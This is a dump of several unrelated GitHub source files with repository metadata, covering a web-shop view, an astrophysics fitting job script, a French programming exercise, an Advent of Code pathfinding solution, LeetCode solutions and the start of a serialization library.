secondarySubCategory_price7 = secondarySubCategory_JSON[0][\"SecondarySubCategoryPrice\"][6]\n\n # variables8\n secondarySubCategory_name8 = secondarySubCategory_JSON[0][\"SecondarySubCategoryNames\"][7]\n secondarySubCategory_image8 = secondarySubCategory_JSON[0][\"SecondarySubCategoryImages\"][7]\n secondarySubCategory_link8 = secondarySubCategory_JSON[0][\"SecondarySubCategoryLinks\"][7]\n secondarySubCategory_price8 = secondarySubCategory_JSON[0][\"SecondarySubCategoryPrice\"][7]\n\n # variables9\n secondarySubCategory_name9 = secondarySubCategory_JSON[0][\"SecondarySubCategoryNames\"][8]\n secondarySubCategory_image9 = secondarySubCategory_JSON[0][\"SecondarySubCategoryImages\"][8]\n secondarySubCategory_link9 = secondarySubCategory_JSON[0][\"SecondarySubCategoryLinks\"][8]\n secondarySubCategory_price9 = secondarySubCategory_JSON[0][\"SecondarySubCategoryPrice\"][8]\n\n # variables10\n secondarySubCategory_name10 = secondarySubCategory_JSON[0][\"SecondarySubCategoryNames\"][9]\n secondarySubCategory_image10 = secondarySubCategory_JSON[0][\"SecondarySubCategoryImages\"][9]\n secondarySubCategory_link10 = secondarySubCategory_JSON[0][\"SecondarySubCategoryLinks\"][9]\n secondarySubCategory_price10 = secondarySubCategory_JSON[0][\"SecondarySubCategoryPrice\"][9]\n\n # variables11\n secondarySubCategory_name11 = secondarySubCategory_JSON[0][\"SecondarySubCategoryNames\"][10]\n secondarySubCategory_image11 = secondarySubCategory_JSON[0][\"SecondarySubCategoryImages\"][10]\n secondarySubCategory_link11 = secondarySubCategory_JSON[0][\"SecondarySubCategoryLinks\"][10]\n secondarySubCategory_price11 = secondarySubCategory_JSON[0][\"SecondarySubCategoryPrice\"][10]\n\n # variables12\n secondarySubCategory_name12 = secondarySubCategory_JSON[0][\"SecondarySubCategoryNames\"][11]\n secondarySubCategory_image12 = secondarySubCategory_JSON[0][\"SecondarySubCategoryImages\"][11]\n secondarySubCategory_link12 = secondarySubCategory_JSON[0][\"SecondarySubCategoryLinks\"][11]\n secondarySubCategory_price12 = secondarySubCategory_JSON[0][\"SecondarySubCategoryPrice\"][11]\n\n # variables13\n secondarySubCategory_name13 = secondarySubCategory_JSON[0][\"SecondarySubCategoryNames\"][12]\n secondarySubCategory_image13 = secondarySubCategory_JSON[0][\"SecondarySubCategoryImages\"][12]\n secondarySubCategory_link13 = secondarySubCategory_JSON[0][\"SecondarySubCategoryLinks\"][12]\n secondarySubCategory_price13 = secondarySubCategory_JSON[0][\"SecondarySubCategoryPrice\"][12]\n\n # variables14\n secondarySubCategory_name14 = secondarySubCategory_JSON[0][\"SecondarySubCategoryNames\"][13]\n secondarySubCategory_image14 = secondarySubCategory_JSON[0][\"SecondarySubCategoryImages\"][13]\n secondarySubCategory_link14 = secondarySubCategory_JSON[0][\"SecondarySubCategoryLinks\"][13]\n secondarySubCategory_price14 = secondarySubCategory_JSON[0][\"SecondarySubCategoryPrice\"][13]\n\n # variables15\n secondarySubCategory_name15 = secondarySubCategory_JSON[0][\"SecondarySubCategoryNames\"][14]\n secondarySubCategory_image15 = secondarySubCategory_JSON[0][\"SecondarySubCategoryImages\"][14]\n secondarySubCategory_link15 = secondarySubCategory_JSON[0][\"SecondarySubCategoryLinks\"][14]\n secondarySubCategory_price15 = secondarySubCategory_JSON[0][\"SecondarySubCategoryPrice\"][14]\n\n # variables16\n secondarySubCategory_name16 = secondarySubCategory_JSON[0][\"SecondarySubCategoryNames\"][15]\n secondarySubCategory_image16 = secondarySubCategory_JSON[0][\"SecondarySubCategoryImages\"][15]\n secondarySubCategory_link16 = secondarySubCategory_JSON[0][\"SecondarySubCategoryLinks\"][15]\n secondarySubCategory_price16 = secondarySubCategory_JSON[0][\"SecondarySubCategoryPrice\"][15]\n\n # variables17\n secondarySubCategory_name17 = secondarySubCategory_JSON[0][\"SecondarySubCategoryNames\"][16]\n secondarySubCategory_image17 = secondarySubCategory_JSON[0][\"SecondarySubCategoryImages\"][16]\n secondarySubCategory_link17 = secondarySubCategory_JSON[0][\"SecondarySubCategoryLinks\"][16]\n secondarySubCategory_price17 = secondarySubCategory_JSON[0][\"SecondarySubCategoryPrice\"][16]\n\n # variables18\n secondarySubCategory_name18 = secondarySubCategory_JSON[0][\"SecondarySubCategoryNames\"][17]\n secondarySubCategory_image18 = secondarySubCategory_JSON[0][\"SecondarySubCategoryImages\"][17]\n secondarySubCategory_link18 = secondarySubCategory_JSON[0][\"SecondarySubCategoryLinks\"][17]\n secondarySubCategory_price18 = secondarySubCategory_JSON[0][\"SecondarySubCategoryPrice\"][17]\n\n # variables19\n secondarySubCategory_name19 = secondarySubCategory_JSON[0][\"SecondarySubCategoryNames\"][18]\n secondarySubCategory_image19 = secondarySubCategory_JSON[0][\"SecondarySubCategoryImages\"][18]\n secondarySubCategory_link19 = secondarySubCategory_JSON[0][\"SecondarySubCategoryLinks\"][18]\n secondarySubCategory_price19 = secondarySubCategory_JSON[0][\"SecondarySubCategoryPrice\"][18]\n\n # variables20\n secondarySubCategory_name20 = secondarySubCategory_JSON[0][\"SecondarySubCategoryNames\"][19]\n secondarySubCategory_image20 = secondarySubCategory_JSON[0][\"SecondarySubCategoryImages\"][19]\n secondarySubCategory_link20 = secondarySubCategory_JSON[0][\"SecondarySubCategoryLinks\"][19]\n secondarySubCategory_price20 = secondarySubCategory_JSON[0][\"SecondarySubCategoryPrice\"][19]\n\n # variables21\n secondarySubCategory_name21 = secondarySubCategory_JSON[0][\"SecondarySubCategoryNames\"][20]\n secondarySubCategory_image21 = secondarySubCategory_JSON[0][\"SecondarySubCategoryImages\"][20]\n secondarySubCategory_link21 = secondarySubCategory_JSON[0][\"SecondarySubCategoryLinks\"][20]\n secondarySubCategory_price21 = secondarySubCategory_JSON[0][\"SecondarySubCategoryPrice\"][20]\n\n # variables22\n secondarySubCategory_name22 = secondarySubCategory_JSON[0][\"SecondarySubCategoryNames\"][21]\n secondarySubCategory_image22 = secondarySubCategory_JSON[0][\"SecondarySubCategoryImages\"][21]\n secondarySubCategory_link22 = secondarySubCategory_JSON[0][\"SecondarySubCategoryLinks\"][21]\n secondarySubCategory_price22 = secondarySubCategory_JSON[0][\"SecondarySubCategoryPrice\"][21]\n\n # variables23\n secondarySubCategory_name23 = secondarySubCategory_JSON[0][\"SecondarySubCategoryNames\"][22]\n secondarySubCategory_image23 = secondarySubCategory_JSON[0][\"SecondarySubCategoryImages\"][22]\n secondarySubCategory_link23 = secondarySubCategory_JSON[0][\"SecondarySubCategoryLinks\"][22]\n secondarySubCategory_price23 = secondarySubCategory_JSON[0][\"SecondarySubCategoryPrice\"][22]\n\n # variables24\n secondarySubCategory_name24 = secondarySubCategory_JSON[0][\"SecondarySubCategoryNames\"][23]\n secondarySubCategory_image24 = secondarySubCategory_JSON[0][\"SecondarySubCategoryImages\"][23]\n secondarySubCategory_link24 = secondarySubCategory_JSON[0][\"SecondarySubCategoryLinks\"][23]\n secondarySubCategory_price24 = secondarySubCategory_JSON[0][\"SecondarySubCategoryPrice\"][23]\n\n # variables25\n secondarySubCategory_name25 = secondarySubCategory_JSON[0][\"SecondarySubCategoryNames\"][24]\n secondarySubCategory_image25 = secondarySubCategory_JSON[0][\"SecondarySubCategoryImages\"][24]\n secondarySubCategory_link25 = secondarySubCategory_JSON[0][\"SecondarySubCategoryLinks\"][24]\n secondarySubCategory_price25 = secondarySubCategory_JSON[0][\"SecondarySubCategoryPrice\"][24]\n\n # variables26\n secondarySubCategory_name26 = secondarySubCategory_JSON[0][\"SecondarySubCategoryNames\"][25]\n secondarySubCategory_image26 = secondarySubCategory_JSON[0][\"SecondarySubCategoryImages\"][25]\n secondarySubCategory_link26 = secondarySubCategory_JSON[0][\"SecondarySubCategoryLinks\"][25]\n secondarySubCategory_price26 = secondarySubCategory_JSON[0][\"SecondarySubCategoryPrice\"][25]\n\n\n # Close our connection and free up some resources \n client.close()\n return {\n # Category dictionairies\n \"category_AC_name\": category_AC_name,\n \"category_AC_image\": category_AC_image,\n \"category_AC_link\": category_AC_link,\n\n \"category_mobile_name\": category_mobile_name,\n \"category_mobile_image\": category_mobile_image,\n \"category_mobile_link\": category_mobile_link,\n \n \"category_tv_name\": category_tv_name,\n \"category_tv_image\": category_tv_image,\n \"category_tv_link\": category_tv_link,\n\n \"category_fridge_name\": category_fridge_name,\n \"category_fridge_image\": category_fridge_image,\n \"category_fridge_link\": category_fridge_link,\n\n # For primary subccategories\n \"primarySubCategory_name1\": primarySubCategory_name1,\n \"primarySubCategory_image1\": primarySubCategory_image1,\n \"primarySubCategory_link1\": primarySubCategory_link1,\n\n \"primarySubCategory_name2\": primarySubCategory_name2,\n \"primarySubCategory_image2\": primarySubCategory_image2,\n \"primarySubCategory_link2\": primarySubCategory_link2,\n\n \"primarySubCategory_name3\": primarySubCategory_name3,\n \"primarySubCategory_image3\": primarySubCategory_image3,\n \"primarySubCategory_link3\": primarySubCategory_link3,\n\n \"primarySubCategory_name4\": primarySubCategory_name4,\n \"primarySubCategory_image4\": primarySubCategory_image4,\n \"primarySubCategory_link4\": primarySubCategory_link4,\n\n \"primarySubCategory_name5\": primarySubCategory_name5,\n \"primarySubCategory_image5\": primarySubCategory_image5,\n \"primarySubCategory_link5\": primarySubCategory_link5,\n\n \"primarySubCategory_name6\": primarySubCategory_name6,\n \"primarySubCategory_image6\": primarySubCategory_image6,\n \"primarySubCategory_link6\": primarySubCategory_link6,\n\n \"primarySubCategory_name7\": primarySubCategory_name7,\n \"primarySubCategory_image7\": primarySubCategory_image7,\n \"primarySubCategory_link7\": primarySubCategory_link7,\n\n \"primarySubCategory_name8\": primarySubCategory_name8,\n \"primarySubCategory_image8\": primarySubCategory_image8,\n \"primarySubCategory_link8\": primarySubCategory_link8,\n\n \"primarySubCategory_name9\": primarySubCategory_name9,\n \"primarySubCategory_image9\": primarySubCategory_image9,\n \"primarySubCategory_link9\": primarySubCategory_link9,\n\n \"primarySubCategory_name10\": primarySubCategory_name10,\n \"primarySubCategory_image10\": primarySubCategory_image10,\n \"primarySubCategory_link10\": primarySubCategory_link10,\n\n \"primarySubCategory_name11\": primarySubCategory_name11,\n \"primarySubCategory_image11\": primarySubCategory_image11,\n \"primarySubCategory_link11\": primarySubCategory_link11,\n\n \"primarySubCategory_name12\": primarySubCategory_name12,\n \"primarySubCategory_image12\": primarySubCategory_image12,\n \"primarySubCategory_link12\": primarySubCategory_link12,\n\n \"primarySubCategory_name13\": primarySubCategory_name13,\n \"primarySubCategory_image13\": primarySubCategory_image13,\n \"primarySubCategory_link13\": primarySubCategory_link13,\n\n \"primarySubCategory_name14\": primarySubCategory_name14,\n \"primarySubCategory_image14\": primarySubCategory_image14,\n \"primarySubCategory_link14\": primarySubCategory_link14,\n\n \"primarySubCategory_name15\": primarySubCategory_name15,\n \"primarySubCategory_image15\": primarySubCategory_image15,\n \"primarySubCategory_link15\": primarySubCategory_link15,\n\n \"primarySubCategory_name16\": primarySubCategory_name16,\n \"primarySubCategory_image16\": primarySubCategory_image16,\n \"primarySubCategory_link16\": primarySubCategory_link16,\n\n\n # For secondary subccategories\n \"secondarySubCategory_name1\": secondarySubCategory_name1,\n \"secondarySubCategory_image1\": secondarySubCategory_image1,\n \"secondarySubCategory_link1\": secondarySubCategory_link1,\n \"secondarySubCategory_price1\": secondarySubCategory_price1,\n\n \"secondarySubCategory_name2\": secondarySubCategory_name2,\n \"secondarySubCategory_image2\": secondarySubCategory_image2,\n \"secondarySubCategory_link2\": secondarySubCategory_link2,\n \"secondarySubCategory_price2\": secondarySubCategory_price2,\n\n \"secondarySubCategory_name3\": secondarySubCategory_name3,\n \"secondarySubCategory_image3\": secondarySubCategory_image3,\n \"secondarySubCategory_link3\": secondarySubCategory_link3,\n \"secondarySubCategory_price3\": secondarySubCategory_price3,\n\n \"secondarySubCategory_name4\": secondarySubCategory_name4,\n \"secondarySubCategory_image4\": secondarySubCategory_image4,\n \"secondarySubCategory_link4\": secondarySubCategory_link4,\n \"secondarySubCategory_price4\": secondarySubCategory_price4,\n\n \"secondarySubCategory_name5\": secondarySubCategory_name5,\n \"secondarySubCategory_image5\": secondarySubCategory_image5,\n \"secondarySubCategory_link5\": secondarySubCategory_link5,\n \"secondarySubCategory_price5\": secondarySubCategory_price5,\n\n \"secondarySubCategory_name6\": secondarySubCategory_name6,\n \"secondarySubCategory_image6\": secondarySubCategory_image6,\n \"secondarySubCategory_link6\": secondarySubCategory_link6,\n \"secondarySubCategory_price6\": secondarySubCategory_price6,\n\n \"secondarySubCategory_name7\": secondarySubCategory_name7,\n \"secondarySubCategory_image7\": secondarySubCategory_image7,\n \"secondarySubCategory_link7\": secondarySubCategory_link7,\n \"secondarySubCategory_price7\": secondarySubCategory_price7,\n\n \"secondarySubCategory_name8\": secondarySubCategory_name8,\n \"secondarySubCategory_image8\": secondarySubCategory_image8,\n \"secondarySubCategory_link8\": secondarySubCategory_link8,\n \"secondarySubCategory_price8\": secondarySubCategory_price8,\n\n \"secondarySubCategory_name9\": secondarySubCategory_name9,\n \"secondarySubCategory_image9\": secondarySubCategory_image9,\n \"secondarySubCategory_link9\": secondarySubCategory_link9,\n \"secondarySubCategory_price9\": secondarySubCategory_price9,\n\n \"secondarySubCategory_name10\": secondarySubCategory_name10,\n \"secondarySubCategory_image10\": secondarySubCategory_image10,\n \"secondarySubCategory_link10\": secondarySubCategory_link10,\n \"secondarySubCategory_price10\": secondarySubCategory_price10,\n\n \"secondarySubCategory_name11\": secondarySubCategory_name11,\n \"secondarySubCategory_image11\": secondarySubCategory_image11,\n \"secondarySubCategory_link11\": secondarySubCategory_link11,\n \"secondarySubCategory_price11\": secondarySubCategory_price11,\n\n \"secondarySubCategory_name12\": secondarySubCategory_name12,\n \"secondarySubCategory_image12\": secondarySubCategory_image12,\n \"secondarySubCategory_link12\": secondarySubCategory_link12,\n \"secondarySubCategory_price12\": secondarySubCategory_price12,\n\n \"secondarySubCategory_name13\": secondarySubCategory_name13,\n \"secondarySubCategory_image13\": secondarySubCategory_image13,\n \"secondarySubCategory_link13\": secondarySubCategory_link13,\n \"secondarySubCategory_price13\": secondarySubCategory_price13,\n\n \"secondarySubCategory_name14\": secondarySubCategory_name14,\n \"secondarySubCategory_image14\": secondarySubCategory_image14,\n \"secondarySubCategory_link14\": secondarySubCategory_link14,\n \"secondarySubCategory_price14\": secondarySubCategory_price14,\n\n \"secondarySubCategory_name15\": secondarySubCategory_name15,\n \"secondarySubCategory_image15\": secondarySubCategory_image15,\n \"secondarySubCategory_link15\": secondarySubCategory_link15,\n \"secondarySubCategory_price15\": secondarySubCategory_price15,\n\n \"secondarySubCategory_name16\": secondarySubCategory_name16,\n \"secondarySubCategory_image16\": secondarySubCategory_image16,\n \"secondarySubCategory_link16\": secondarySubCategory_link16,\n \"secondarySubCategory_price16\": secondarySubCategory_price16,\n\n \"secondarySubCategory_name17\": secondarySubCategory_name17,\n \"secondarySubCategory_image17\": secondarySubCategory_image17,\n \"secondarySubCategory_link17\": secondarySubCategory_link17,\n \"secondarySubCategory_price17\": secondarySubCategory_price17,\n\n \"secondarySubCategory_name18\": secondarySubCategory_name18,\n \"secondarySubCategory_image18\": secondarySubCategory_image18,\n \"secondarySubCategory_link18\": secondarySubCategory_link18,\n \"secondarySubCategory_price18\": secondarySubCategory_price18,\n\n \"secondarySubCategory_name19\": secondarySubCategory_name19,\n \"secondarySubCategory_image19\": secondarySubCategory_image19,\n \"secondarySubCategory_link19\": secondarySubCategory_link19,\n \"secondarySubCategory_price19\": secondarySubCategory_price19,\n\n \"secondarySubCategory_name20\": secondarySubCategory_name20,\n \"secondarySubCategory_image20\": secondarySubCategory_image20,\n \"secondarySubCategory_link20\": secondarySubCategory_link20,\n \"secondarySubCategory_price20\": secondarySubCategory_price20,\n\n \"secondarySubCategory_name21\": secondarySubCategory_name21,\n \"secondarySubCategory_image21\": secondarySubCategory_image21,\n \"secondarySubCategory_link21\": secondarySubCategory_link21,\n \"secondarySubCategory_price21\": secondarySubCategory_price21,\n\n \"secondarySubCategory_name22\": secondarySubCategory_name22,\n \"secondarySubCategory_image22\": secondarySubCategory_image22,\n \"secondarySubCategory_link22\": secondarySubCategory_link22,\n \"secondarySubCategory_price22\": secondarySubCategory_price22,\n\n \"secondarySubCategory_name23\": secondarySubCategory_name23,\n \"secondarySubCategory_image23\": secondarySubCategory_image23,\n \"secondarySubCategory_link23\": secondarySubCategory_link23,\n \"secondarySubCategory_price23\": secondarySubCategory_price23,\n\n \"secondarySubCategory_name24\": secondarySubCategory_name24,\n \"secondarySubCategory_image24\": secondarySubCategory_image24,\n \"secondarySubCategory_link24\": secondarySubCategory_link24,\n \"secondarySubCategory_price24\": secondarySubCategory_price24,\n\n \"secondarySubCategory_name25\": secondarySubCategory_name25,\n \"secondarySubCategory_image25\": secondarySubCategory_image25,\n \"secondarySubCategory_link25\": secondarySubCategory_link25,\n \"secondarySubCategory_price25\": secondarySubCategory_price25,\n\n \"secondarySubCategory_name26\": secondarySubCategory_name26,\n \"secondarySubCategory_image26\": secondarySubCategory_image26,\n \"secondarySubCategory_link26\": secondarySubCategory_link26,\n \"secondarySubCategory_price26\": secondarySubCategory_price26,\n\n }","repo_name":"cybernetor066/spacenetngWebAppDynamicVanillaJSPyramid","sub_path":"spacenetng/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":585948,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"11095053432","text":"from ts_limit.grid_ts.janitor_copy import Janitor\n\nimport os\nimport sys\nimport shutil\nimport psutil\nimport numpy as np\nprocess = psutil.Process(os.getpid())\nnsim = 25\n\n'''Get needed values from CLI.'''\nwhich_gm = int(sys.argv[1])\nwhich_roi = int(sys.argv[2])\nwhich_range = int(sys.argv[3])\n\n'''If rerunning some args, notice this and handle things differently. This concerns, e.g., indices of simulations to be done.'''\ntry:\n num = int(sys.argv[4])\n rerun = True \nexcept IndexError:\n rerun = False\n\n\n'''Set up all necessary paths and directories.'''\npath_dict = {}\ncwd = os.getcwd()\npackage_path = '/nfs/astrop/n1/kuhlmann/NGC_1275/ts_limit'\nprob_path = f'{package_path}/grid_survival_prob/new_probs/roi_{which_roi}/prob_{which_gm:03}.dat'\nsave_dir = f'{package_path}/grid_ts/outdata/roi_{which_roi}'\nsave_path = f'{save_dir}/out_{which_gm:03}.dat'\n'''Need to check if this is running on the cluster or astro-wgs.'''\nif not 'n1/kuhlmann' in cwd:\n print('Im running on the cluster')\n roi_dir = f'{cwd}/roi_{which_roi}'\nelse:\n print('Im running on the wgs')\n roi_dir = f'{package_path}/grid_ts/roi_tempdir'\n roi_origin = f'{package_path}/roi_simulation/roi_files/roi_{which_roi}'\n try:\n os.mkdir(f'{roi_dir}')\n except FileExistsError:\n print('temp directory exists')\n print(f'should copy from {roi_origin} to {roi_dir}')\n files = os.listdir(roi_origin)\n for f in files:\n # shutil.copy2(f'{roi_origin}/{f}', f'{roi_dir}') # should overwrite any files present, clean up afterwards anyway...\n continue\nroi_file = f'{roi_dir}/sim_{which_roi}.npy'\n\npath_dict['prob_path'] = prob_path\npath_dict['save_dir'] = save_dir\npath_dict['save_path'] = save_path\npath_dict['cwd'] = cwd\npath_dict['roi_dir'] = roi_dir\npath_dict['roi_file'] = roi_file\npath_dict['package_path'] = package_path\npath_dict['roi_file'] = roi_file\npath_dict['config_path'] = f'{cwd}/config_modified.yaml'\n\n'''Create output paths if necessary.'''\ntry:\n os.mkdir(save_dir)\n print(f'created output path: {save_dir}')\nexcept FileExistsError:\n print(f'output path already exists, continuing...')\nprint(f'cwd: {cwd}')\n\n\nif rerun:\n try:\n data = np.loadtxt(f\"{save_dir}/out_{which_gm:03}.dat\")\n indices = []\n if data.shape[0] == 100 and data.shape[1] == 3:\n for c, line in enumerate(data):\n if np.any(np.isclose(line, np.zeros(line.shape))):\n indices.append(c)\n else:\n raise FileNotFoundError\n except FileNotFoundError:\n print(\"file has wrong shape or is not found\")\n data = np.zeros((100, 3), dtype=float)\n np.savetxt(f\"/nfs/astrop/n1/kuhlmann/NGC_1275/ts_limit/roi_tempdir/out_old_fit.dat\", data)\n start = which_range * nsim\n end = (which_range + 1) * nsim\n indices = [i for i in range(start, end)]\nelse:\n start = which_range * nsim\n end = (which_range + 1) * nsim \n indices = [i for i in range(start, end)]\nprint(path_dict)\nprint(indices)\n# sys.exit()\nprint('memory pre fermipy:', process.memory_info().rss * 1e-6)\nobj = Janitor(which_gm, which_roi, which_range, path_dict, load_probs=False)\nprint('memory post fermipy:', process.memory_info().rss * 1e-6)\n\n\nfor i in indices:\n obj.index = i\n obj.fit()\n print('memory used:', process.memory_info().rss * 1e-6)\n obj.write_outdata()\n if i != indices[-1]:\n obj.bootleg_reload()\n else:\n pass\n\n","repo_name":"specktakel/ts_limit","sub_path":"grid_ts/ts_pixel_refactored_copy.py","file_name":"ts_pixel_refactored_copy.py","file_ext":"py","file_size_in_byte":3448,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"32475412841","text":"\"\"\"\nConsidérons les opérations suivantes applicables à un nombre entier (positif) :\n — si ce nombre est divisible par 3, on lui ajoute 4 ;\n — s’il n’est pas divisible par 3 mais divisible par 4, on le divise par 2;\n — s’il n’est divisible ni par 3, ni par 4, on lui soustrait 1.\nOn répète ces opérations successivement jusqu’à arriver à 0.\n\nEcrivez un programme affichant le nombre d'opérations pour arriver à 0 pour\nchaque chiffre entier compris entre deux valeurs demandées à l'utilisateur.\n\n\"\"\"\n###Déclaration et Initialisation des variables\nnb : int = None\nnbmin : int =None\nnbmax : int = None\n# Saisir les valeurs\nwhile nbmin is None:\n nbmin : int = int (input(\"Saisir le 1er nombre entier et positif :\"))\n\nwhile nbmax is None or nbmin > nbmax:\n nbmax : int = int (input(\"Saisir le 2ème nomnre entier et positif :\"))\n\n\n### Séquence d'opération\n\nfor i in range(nbmin, nbmax + 1):\n print(1,\"->\", end= \"\")\n nb = 0\n while 1 != 0:\n if i % 3 == 0:\n i + 4\n elif i % 4 == 0:\n i //= 2\n else:\n i -=1\n nb += 1\n\n print(nb)\n","repo_name":"michaelpardopaez/TP02_Michael-Pardo_2","sub_path":"tp02_ex1.py","file_name":"tp02_ex1.py","file_ext":"py","file_size_in_byte":1144,"program_lang":"python","lang":"fr","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"11418512312","text":"import numpy as np\n\n\nINPUT_FILE = 'Day12/input.txt'\n\nSTARTING_POSITION_MARKER = 'S'\nSTARTING_POSITION_HEIGHT = 'a'\nENDING_POSITION_MARKER = 'E'\nENDIGN_POSITION_HEIGHT = 'z'\n\n\ndef process_input(input_file):\n with open(input_file) as f:\n return np.array([list(line.replace('\\n', '')) for line in f.readlines()])\n \n\ndef process_height_map(height_map_str):\n # Find starting and ending positions\n starting_pos = np.where(height_map_str == STARTING_POSITION_MARKER) \n ending_pos = np.where(height_map_str == ENDING_POSITION_MARKER)\n \n # We convert these to tuples because it will be easier to work with that in the long run\n starting_pos = (starting_pos[0][0], starting_pos[1][0])\n ending_pos = (ending_pos[0][0], ending_pos[1][0])\n\n # Replace starting and ending positions with their height\n height_map_str[starting_pos] = STARTING_POSITION_HEIGHT\n height_map_str[ending_pos] = ENDIGN_POSITION_HEIGHT\n \n # Translate the height map to numbers to make it easier to work with\n height_map_int = height_map_str.view(np.int32) - np.full(height_map_str.shape, ord('a'))\n\n return starting_pos, ending_pos, height_map_int\n\n\ndef find_neightboring_cells(current_cell, grid_shape):\n row, column = current_cell\n\n neightbor_cells = []\n if row > 0:\n neightbor_cells.append((row - 1, column))\n if row < grid_shape[0] - 1:\n neightbor_cells.append((row + 1, column))\n if column > 0:\n neightbor_cells.append((row, column - 1))\n if column < grid_shape[1] - 1:\n neightbor_cells.append((row, column + 1))\n\n return neightbor_cells\n\n\ndef valid_paths_uphill(active_cell, neightboring_cells, height_map):\n return [neightboring_cell for neightboring_cell in neightboring_cells if height_map[neightboring_cell] <= (height_map[active_cell] + 1)]\n\n\ndef valid_paths_downhill(active_cell, neightboring_cells, height_map):\n return [neightboring_cell for neightboring_cell in neightboring_cells if height_map[neightboring_cell] >= (height_map[active_cell] -1)]\n\n\ndef unvisited_neightboring_cells(cells_evaluated, visited_cells):\n return [cell for cell in cells_evaluated if cell not in visited_cells.keys()]\n\n\ndef evaluate_active_cell_neightbors(active_cell, height_map, visited_cells, valid_path_strategy):\n neightboring_cells = find_neightboring_cells(active_cell, height_map.shape) \n valid_neightboring_cells = valid_path_strategy(active_cell, neightboring_cells, height_map)\n valid_unvisited_neightboring_cells = unvisited_neightboring_cells(valid_neightboring_cells, visited_cells)\n\n return valid_unvisited_neightboring_cells\n\n\ndef update_visited_cells(active_cell, new_cells, visited_cells):\n path_to_new_cells = visited_cells[active_cell] + [active_cell]\n\n for new_cell in new_cells:\n visited_cells[new_cell] = path_to_new_cells\n\n\ndef find_all_paths_given_starting_point(starting_pos, height_map, valid_paths_strategy, iter_limit=10000):\n visited_cells = {starting_pos: []}\n active_cells = [starting_pos]\n\n for _ in range(iter_limit):\n while len(active_cells) > 0:\n active_cell = active_cells.pop(0)\n new_cells = evaluate_active_cell_neightbors(active_cell, height_map, visited_cells, valid_paths_strategy)\n update_visited_cells(active_cell, new_cells, visited_cells)\n active_cells += new_cells\n\n return visited_cells\n\n\ndef main(input_file):\n starting_pos, ending_pos, height_map = process_height_map(process_input(input_file))\n paths = find_all_paths_given_starting_point(starting_pos, height_map, valid_paths_uphill)\n print(len(paths[ending_pos]))\n\n paths = find_all_paths_given_starting_point(ending_pos, height_map, valid_paths_downhill)\n shortest_path = float('inf')\n for cell in zip(*np.where(height_map == 0)):\n if (cell in list(paths.keys())) and (len(paths[cell]) < shortest_path):\n shortest_path = int(len(paths[cell]))\n print(shortest_path)\n\n\nif __name__ == '__main__':\n main(INPUT_FILE)","repo_name":"Carmoldu/AoC22","sub_path":"Day12/problem.py","file_name":"problem.py","file_ext":"py","file_size_in_byte":4012,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"13999249887","text":"from full_physics import *\nimport aerosol_log_10\n\n# Get Defaults\nls = LuaState.load_file(\"../unit_test_data/full_run/base_config.lua\")\n\nlg = ls.globals()\nlg.config = lg.BaseConfig.new(lg.BaseConfig)\nlua_config = ls.globals().config\n\n# Local modifications\nlua_config.create_aerosol = aerosol_log_10.create_aerosol_log_10\n\n# Now create everything\nlua_config.do_config(lua_config)\n\n\n","repo_name":"nasa/RtRetrievalFramework","sub_path":"python_experimental/config_log_10.py","file_name":"config_log_10.py","file_ext":"py","file_size_in_byte":380,"program_lang":"python","lang":"en","doc_type":"code","stars":43,"dataset":"github-code","pt":"21"} +{"seq_id":"24548676860","text":"class Solution:\n def isValid(self, s: str) -> bool:\n bracket = {'(': ')', '[': ']', '{': '}'}\n stack = []\n\n for i in s:\n if i in bracket: # open bracket\n stack.append(i)\n elif not stack or i != bracket[stack.pop()]: # close bracket\n return False\n return not stack\n\n\nif __name__ == '__main__':\n solution = Solution()\n print(solution.isValid('()[]{}'))\n","repo_name":"LimKwangyoung/python-algorithm-interview","sub_path":"Part 3/Chapter 9/문제 20/풀이 0.py","file_name":"풀이 0.py","file_ext":"py","file_size_in_byte":442,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"4294268064","text":"def twoSum(nums, target):\n \"\"\"\n :type nums: List[int]\n :type target: int\n :rtype: List[int]\n \"\"\"\n \n values_seen = {}\n found = False\n result = []\n for i, number in enumerate(nums): \n complement = target - number \n \n if complement in values_seen: \n found = True\n result = [values_seen[complement], i]\n break \n else: \n \n values_seen[number] = i\n \n return result\n\n\nif __name__ == \"__main__\": \n print( twoSum([1,2,3,4,5] , 9) )\n\n ","repo_name":"rl3020/InterviewPrep","sub_path":"leetcode-questions/2sum.py","file_name":"2sum.py","file_ext":"py","file_size_in_byte":559,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"37860219875","text":"import datetime\nimport decimal\nimport itertools\nimport struct\nimport sys\n\ntry:\n import lzf\nexcept ImportError:\n lzf = None\n\n\n__all__ = [\"loads\", \"dumps\", \"pure_python_loads\", \"pure_python_dumps\",\n \"has_extension\"]\n\n\nif sys.version_info[0] >= 3:\n from functools import reduce\n _str = unicode = str\n class string(bytes):\n def __getitem__(self, index):\n if isinstance(index, int):\n return type(self)(super().__getitem__(\n slice(index, index + 1, None)))\n return type(self)(super().__getitem__(index))\n\n def __iter__(self):\n i, l = 0, len(self)\n while i < l:\n yield self[i]\n i += 1\n\n long = int\n map = lambda *a: list(__builtins__['map'](*a))\n iteritems = lambda d: d.items()\n iterkeys = lambda d: d.keys()\n itervalues = lambda d: d.values()\n xrange = range\n chr = lambda x: bytes([x])\n ord = lambda x: bytes.__getitem__(x, 0)\n bytify = lambda x: x.encode('ascii')\n izip = zip\nelse:\n iteritems = lambda d: d.iteritems()\n iterkeys = lambda d: d.iterkeys()\n itervalues = lambda d: d.itervalues()\n bytify = lambda x: x\n bytes = string = str\n izip = itertools.izip\n\n\nMAX_DEPTH = 256\n\nTYPE_NONE = 0x0\nTYPE_BOOL = 0x1\nTYPE_CHAR = 0x2\nTYPE_SHORT = 0x3\nTYPE_INT = 0x4\nTYPE_LONG = 0x5\nTYPE_HUGE = 0x6\nTYPE_DOUBLE = 0x7\nTYPE_SHORTSTR = 0x8\nTYPE_LONGSTR = 0x9\nTYPE_SHORTUTF8 = 0xA\nTYPE_LONGUTF8 = 0xB\nTYPE_LIST = 0xC\nTYPE_TUPLE = 0xD\nTYPE_SET = 